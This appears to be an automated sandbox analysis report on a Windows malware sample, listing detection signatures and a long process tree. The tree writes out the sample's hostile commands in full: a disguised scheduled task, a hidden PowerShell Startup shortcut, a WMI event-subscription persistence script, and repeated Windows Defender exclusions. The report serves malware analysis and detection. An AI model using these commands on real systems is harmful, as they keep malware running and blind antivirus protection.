Analysis
- max time kernel
68s - max time network
155s - platform
windows11-21h2_x64 - resource
win11-20260513-en - resource tags
- submitted
18/05/2026, 04:36
General
- Target 2026-05-18_ba315e3d9c837fce89cc7ed40b3dba0a_akira_glassworm.exe
- Size 1.6MB
- Sample260518-e8ls7abw9j
- SHA256 799de201f385f7181a24dc071001c5cc7a86b8452477ba8066482ad85fd54823
Score
9/10
Malware Config
Signatures
- Detects executables embedding registry key / value combination indicative of disabling Windows Defen 45 IoCs
- Detects executables referencing combination of virtualization drivers 45 IoCs
- Detects executables referencing many IR and analysis tools 45 IoCs
- Detects executables referencing virtualization MAC addresses 45 IoCs
- Looks for VirtualBox drivers on disk 2 TTPs 6 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 64 IoCs
Run Powershell and hide display window.
- Looks for VMWare drivers on disk 2 TTPs 6 IoCs
- Deletes itself 1 IoCs
- Drops startup file 1 IoCs
- Event Triggered Execution: Component Object Model Hijacking 1 TTPs
Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.
- Executes dropped EXE 30 IoCs
- Registers new Windows logon scripts automatically executed at logon. 1 TTPs 1 IoCs
- Adds Run key to start application 2 TTPs 3 IoCs
- Suspicious use of NtSetInformationThreadHideFromDebugger 13 IoCs
- Modifies registry class 15 IoCs
- Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious use of AdjustPrivilegeToken 49 IoCs
- Suspicious use of WriteProcessMemory 64 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Users\Admin\AppData\Local\Temp\2026-05-18_ba315e3d9c837fce89cc7ed40b3dba0a_akira_glassworm.exe"C:\Users\Admin\AppData\Local\Temp\2026-05-18_ba315e3d9c837fce89cc7ed40b3dba0a_akira_glassworm.exe"1⤵
- Looks for VirtualBox drivers on disk
- Looks for VMWare drivers on disk
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\getmac.exe"getmac" /FO CSV /NH2⤵
-
-
C:\Windows\system32\schtasks.exe"schtasks.exe" /Create /TN "Microsoft\Windows\Application Experience\PcaPatchDbTask_197a" /TR "\"C:\Users\Admin\AppData\Local\Microsoft\Edge\WmiPrvSE70e.exe\" worker" /SC ONLOGON /RL HIGHEST /F2⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -NoProfile -WindowStyle Hidden -Command "$ws=(New-Object -ComObject WScript.Shell).CreateShortcut('C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\App Readiness.lnk');$ws.TargetPath='C:\Users\Admin\AppData\Local\Microsoft\Edge\WmiPrvSE70e.exe';$ws.Arguments='worker';$ws.WindowStyle=7;$ws.Save()"2⤵
- Command and Scripting Interpreter: PowerShell
- Drops startup file
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$f=[wmiclass]\"root\subscription:__EventFilter\";$fi=$f.CreateInstance();$fi.Name='App Readiness_Filter';$fi.EventNamespace='root\cimv2';$fi.QueryLanguage='WQL';$fi.Query='SELECT * FROM __InstanceModificationEvent WITHIN 300 WHERE TargetInstance ISA \"Win32_PerfFormattedData_PerfOS_System\"';$fi.Put();$c=[wmiclass]\"root\subscription:CommandLineEventConsumer\";$ci=$c.CreateInstance();$ci.Name='App Readiness_Consumer';$ci.CommandLineTemplate='\"C:\Users\Admin\AppData\Local\Microsoft\Edge\WmiPrvSE70e.exe\" worker';$ci.Put();$b=[wmiclass]\"root\subscription:__FilterToConsumerBinding\";$bi=$b.CreateInstance();$bi.Filter=$fi.__PATH;$bi.Consumer=$ci.__PATH;$bi.Put()"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\WmiPrvSE70e.exe"C:\Users\Admin\AppData\Local\Microsoft\Edge\WmiPrvSE70e.exe" --valhmx2⤵
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Microsoft\Edge\WmiPrvSE70e.exe'"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Microsoft\Edge'"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\WmiPrvSE70e.exe"C:\Users\Admin\AppData\Local\Microsoft\Edge\WmiPrvSE70e.exe" --uktqto 19043⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\WmiPrvSE70e.exe"C:\Users\Admin\AppData\Local\Microsoft\Edge\WmiPrvSE70e.exe" --valhmx4⤵
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Microsoft\Edge\WmiPrvSE70e.exe'"5⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\WmiPrvSE70e.exe"C:\Users\Admin\AppData\Local\Microsoft\Edge\WmiPrvSE70e.exe" --uktqto 60845⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\WmiPrvSE70e.exe"C:\Users\Admin\AppData\Local\Microsoft\Edge\WmiPrvSE70e.exe" --valhmx6⤵
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Microsoft\Edge\WmiPrvSE70e.exe'"7⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Microsoft\Edge'"7⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\WmiPrvSE70e.exe"C:\Users\Admin\AppData\Local\Microsoft\Edge\WmiPrvSE70e.exe" --uktqto 23487⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\WmiPrvSE70e.exe"C:\Users\Admin\AppData\Local\Microsoft\Edge\WmiPrvSE70e.exe" --valhmx8⤵
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Microsoft\Edge\WmiPrvSE70e.exe'"9⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Microsoft\Edge'"9⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\WmiPrvSE70e.exe"C:\Users\Admin\AppData\Local\Microsoft\Edge\WmiPrvSE70e.exe" --uktqto 58929⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\WmiPrvSE70e.exe"C:\Users\Admin\AppData\Local\Microsoft\Edge\WmiPrvSE70e.exe" --valhmx10⤵
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Microsoft\Edge\WmiPrvSE70e.exe'"11⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\WmiPrvSE70e.exe"C:\Users\Admin\AppData\Local\Microsoft\Edge\WmiPrvSE70e.exe" --uktqto 317611⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\WmiPrvSE70e.exe"C:\Users\Admin\AppData\Local\Microsoft\Edge\WmiPrvSE70e.exe" --valhmx12⤵
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Microsoft\Edge\WmiPrvSE70e.exe'"13⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Microsoft\Edge'"13⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\WmiPrvSE70e.exe"C:\Users\Admin\AppData\Local\Microsoft\Edge\WmiPrvSE70e.exe" --uktqto 78413⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\WmiPrvSE70e.exe"C:\Users\Admin\AppData\Local\Microsoft\Edge\WmiPrvSE70e.exe" --valhmx14⤵
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Microsoft\Edge\WmiPrvSE70e.exe'"15⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\WmiPrvSE70e.exe"C:\Users\Admin\AppData\Local\Microsoft\Edge\WmiPrvSE70e.exe" --uktqto 223215⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\WmiPrvSE70e.exe"C:\Users\Admin\AppData\Local\Microsoft\Edge\WmiPrvSE70e.exe" --valhmx16⤵
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Microsoft\Edge\WmiPrvSE70e.exe'"17⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Microsoft\Edge'"17⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\WmiPrvSE70e.exe"C:\Users\Admin\AppData\Local\Microsoft\Edge\WmiPrvSE70e.exe" --uktqto 253217⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\WmiPrvSE70e.exe"C:\Users\Admin\AppData\Local\Microsoft\Edge\WmiPrvSE70e.exe" --valhmx18⤵
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\WmiPrvSE70e.exe"C:\Users\Admin\AppData\Local\Microsoft\Edge\WmiPrvSE70e.exe" --uktqto 456419⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\WmiPrvSE70e.exe"C:\Users\Admin\AppData\Local\Microsoft\Edge\WmiPrvSE70e.exe" --valhmx20⤵
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Microsoft\Edge\WmiPrvSE70e.exe'"21⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\WmiPrvSE70e.exe"C:\Users\Admin\AppData\Local\Microsoft\Edge\WmiPrvSE70e.exe" --uktqto 72021⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\WmiPrvSE70e.exe"C:\Users\Admin\AppData\Local\Microsoft\Edge\WmiPrvSE70e.exe" --valhmx22⤵
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Microsoft\Edge\WmiPrvSE70e.exe'"23⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\WmiPrvSE70e.exe"C:\Users\Admin\AppData\Local\Microsoft\Edge\WmiPrvSE70e.exe" --uktqto 256423⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\WmiPrvSE70e.exe"C:\Users\Admin\AppData\Local\Microsoft\Edge\WmiPrvSE70e.exe" --valhmx24⤵
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Microsoft\Edge\WmiPrvSE70e.exe'"25⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Microsoft\Edge'"25⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\WmiPrvSE70e.exe"C:\Users\Admin\AppData\Local\Microsoft\Edge\WmiPrvSE70e.exe" --uktqto 332825⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\WmiPrvSE70e.exe"C:\Users\Admin\AppData\Local\Microsoft\Edge\WmiPrvSE70e.exe" --valhmx26⤵
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Microsoft\Edge\WmiPrvSE70e.exe'"27⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\WmiPrvSE70e.exe"C:\Users\Admin\AppData\Local\Microsoft\Edge\WmiPrvSE70e.exe" --uktqto 456827⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\WmiPrvSE70e.exe"C:\Users\Admin\AppData\Local\Microsoft\Edge\WmiPrvSE70e.exe" --valhmx28⤵
- Executes dropped EXE
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Microsoft\Edge\WmiPrvSE70e.exe'"29⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\WmiPrvSE70e.exe"C:\Users\Admin\AppData\Local\Microsoft\Edge\WmiPrvSE70e.exe" --uktqto 107229⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\WmiPrvSE70e.exe"C:\Users\Admin\AppData\Local\Microsoft\Edge\WmiPrvSE70e.exe" --valhmx30⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Microsoft\Edge\WmiPrvSE70e.exe'"31⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Microsoft\Edge'"31⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\WmiPrvSE70e.exe"C:\Users\Admin\AppData\Local\Microsoft\Edge\WmiPrvSE70e.exe" --uktqto 23631⤵
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\WmiPrvSE70e.exe"C:\Users\Admin\AppData\Local\Microsoft\Edge\WmiPrvSE70e.exe" --valhmx32⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Microsoft\Edge\WmiPrvSE70e.exe'"33⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Microsoft\Edge'"33⤵
-
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\WmiPrvSE70e.exe"C:\Users\Admin\AppData\Local\Microsoft\Edge\WmiPrvSE70e.exe" --uktqto 431633⤵
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\WmiPrvSE70e.exe"C:\Users\Admin\AppData\Local\Microsoft\Edge\WmiPrvSE70e.exe" --valhmx34⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Microsoft\Edge\WmiPrvSE70e.exe'"35⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Microsoft\Edge'"35⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\WmiPrvSE70e.exe"C:\Users\Admin\AppData\Local\Microsoft\Edge\WmiPrvSE70e.exe" --uktqto 331635⤵
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\WmiPrvSE70e.exe"C:\Users\Admin\AppData\Local\Microsoft\Edge\WmiPrvSE70e.exe" --valhmx36⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Microsoft\Edge\WmiPrvSE70e.exe'"37⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\WmiPrvSE70e.exe"C:\Users\Admin\AppData\Local\Microsoft\Edge\WmiPrvSE70e.exe" --uktqto 173237⤵
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\WmiPrvSE70e.exe"C:\Users\Admin\AppData\Local\Microsoft\Edge\WmiPrvSE70e.exe" --valhmx38⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Microsoft\Edge\WmiPrvSE70e.exe'"39⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\WmiPrvSE70e.exe"C:\Users\Admin\AppData\Local\Microsoft\Edge\WmiPrvSE70e.exe" --uktqto 558839⤵
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\WmiPrvSE70e.exe"C:\Users\Admin\AppData\Local\Microsoft\Edge\WmiPrvSE70e.exe" --valhmx40⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Microsoft\Edge\WmiPrvSE70e.exe'"41⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\WmiPrvSE70e.exe"C:\Users\Admin\AppData\Local\Microsoft\Edge\WmiPrvSE70e.exe" --uktqto 550441⤵
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\WmiPrvSE70e.exe"C:\Users\Admin\AppData\Local\Microsoft\Edge\WmiPrvSE70e.exe" --valhmx42⤵
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\WmiPrvSE70e.exe"C:\Users\Admin\AppData\Local\Microsoft\Edge\WmiPrvSE70e.exe" --uktqto 466443⤵
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\WmiPrvSE70e.exe"C:\Users\Admin\AppData\Local\Microsoft\Edge\WmiPrvSE70e.exe" --valhmx44⤵
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\WmiPrvSE70e.exe"C:\Users\Admin\AppData\Local\Microsoft\Edge\WmiPrvSE70e.exe" --uktqto 399245⤵
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\WmiPrvSE70e.exe"C:\Users\Admin\AppData\Local\Microsoft\Edge\WmiPrvSE70e.exe" --valhmx46⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Microsoft\Edge\WmiPrvSE70e.exe'"47⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\WmiPrvSE70e.exe"C:\Users\Admin\AppData\Local\Microsoft\Edge\WmiPrvSE70e.exe" --uktqto 247247⤵
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\WmiPrvSE70e.exe"C:\Users\Admin\AppData\Local\Microsoft\Edge\WmiPrvSE70e.exe" --valhmx48⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Microsoft\Edge\WmiPrvSE70e.exe'"49⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\WmiPrvSE70e.exe"C:\Users\Admin\AppData\Local\Microsoft\Edge\WmiPrvSE70e.exe" --uktqto 585649⤵
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\WmiPrvSE70e.exe"C:\Users\Admin\AppData\Local\Microsoft\Edge\WmiPrvSE70e.exe" --valhmx50⤵
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\WmiPrvSE70e.exe"C:\Users\Admin\AppData\Local\Microsoft\Edge\WmiPrvSE70e.exe" --uktqto 433251⤵
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\WmiPrvSE70e.exe"C:\Users\Admin\AppData\Local\Microsoft\Edge\WmiPrvSE70e.exe" --valhmx52⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Microsoft\Edge\WmiPrvSE70e.exe'"53⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Microsoft\Edge'"53⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\WmiPrvSE70e.exe"C:\Users\Admin\AppData\Local\Microsoft\Edge\WmiPrvSE70e.exe" --uktqto 608053⤵
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\WmiPrvSE70e.exe"C:\Users\Admin\AppData\Local\Microsoft\Edge\WmiPrvSE70e.exe" --valhmx54⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Microsoft\Edge\WmiPrvSE70e.exe'"55⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Microsoft\Edge'"55⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\WmiPrvSE70e.exe"C:\Users\Admin\AppData\Local\Microsoft\Edge\WmiPrvSE70e.exe" --uktqto 424055⤵
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\WmiPrvSE70e.exe"C:\Users\Admin\AppData\Local\Microsoft\Edge\WmiPrvSE70e.exe" --valhmx56⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Microsoft\Edge\WmiPrvSE70e.exe'"57⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Microsoft\Edge'"57⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\WmiPrvSE70e.exe"C:\Users\Admin\AppData\Local\Microsoft\Edge\WmiPrvSE70e.exe" --uktqto 196457⤵
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\WmiPrvSE70e.exe"C:\Users\Admin\AppData\Local\Microsoft\Edge\WmiPrvSE70e.exe" --valhmx58⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Microsoft\Edge\WmiPrvSE70e.exe'"59⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\WmiPrvSE70e.exe"C:\Users\Admin\AppData\Local\Microsoft\Edge\WmiPrvSE70e.exe" --uktqto 230459⤵
-
